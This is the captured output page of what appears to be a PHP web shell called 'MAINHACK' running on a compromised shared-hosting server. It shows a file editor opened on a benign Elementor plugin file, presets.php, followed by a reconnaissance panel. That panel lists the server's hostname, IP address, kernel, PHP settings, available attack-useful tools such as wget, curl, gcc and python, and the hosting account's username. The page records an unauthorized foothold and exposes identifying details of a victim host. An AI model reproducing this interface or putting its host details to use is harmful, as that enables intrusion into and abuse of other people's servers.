[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: presets.php
<?php namespace Elementor\Modules\Interactions; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Presets { const DEFAULT_DURATION = 300; const DEFAULT_DELAY = 0; const DEFAULT_SLIDE_DISTANCE = 100; const DEFAULT_SCALE_START = 0; const DEFAULT_EASING = 'linear'; const TRIGGERS = [ 'load', 'scrollIn', 'scrollOn' ]; // 'scrollOut' is not supported yet. const EFFECTS = [ 'fade', 'slide', 'scale' ]; const TYPES = [ 'in', 'out' ]; const DIRECTIONS = [ 'left', 'right', 'top', 'bottom' ]; const DURATIONS = [ 0, 100, 200, 300, 400, 500, 750, 1000, 1250, 1500 ]; const DELAYS = [ 0, 100, 200, 300, 400, 500, 750, 1000, 1250, 1500 ]; public function list() { return $this->generate_animation_options(); } public function defaults() { return [ 'defaultDuration' => self::DEFAULT_DURATION, 'defaultDelay' => self::DEFAULT_DELAY, 'slideDistance' => self::DEFAULT_SLIDE_DISTANCE, 'scaleStart' => self::DEFAULT_SCALE_START, 'easing' => self::DEFAULT_EASING, ]; } private function get_label( $key, $value ) { $special_labels = [ 'trigger' => [ 'load' => __( 'On page load', 'elementor' ), 'scrollIn' => __( 'Scroll into view', 'elementor' ), 'scrollOut' => __( 'Scroll out of view', 'elementor' ), ], ]; if ( isset( $special_labels[ $key ][ $value ] ) ) { return $special_labels[ $key ][ $value ]; } $label = ucwords( str_replace( '-', ' ', $value ) ); return esc_html( $label ); } private function generate_animation_options() { $options = []; foreach ( self::TRIGGERS as $trigger ) { foreach ( self::EFFECTS as $effect ) { foreach ( self::TYPES as $type ) { foreach ( self::DIRECTIONS as $direction ) { foreach ( self::DURATIONS as $duration ) { foreach ( self::DELAYS as $delay ) { $value = "{$trigger}-{$effect}-{$type}-{$direction}-{$duration}-{$delay}"; $label = sprintf( '%s: %s %s', $this->get_label( 'trigger', $trigger ), $this->get_label( 'effect', $effect ), $this->get_label( 'type', $type ), ); $options[] = [ 'value' => $value, 'label' => $label, ]; } } } foreach ( self::DURATIONS as $duration ) { foreach ( self::DELAYS as $delay ) { $value = "{$trigger}-{$effect}-{$type}--{$duration}-{$delay}"; $label = sprintf( '%s: %s %s', $this->get_label( 'trigger', $trigger ), $this->get_label( 'effect', $effect ), $this->get_label( 'type', $type ), ); $options[] = [ 'value' => $value, 'label' => $label, ]; } } } } } return $options; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.33 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252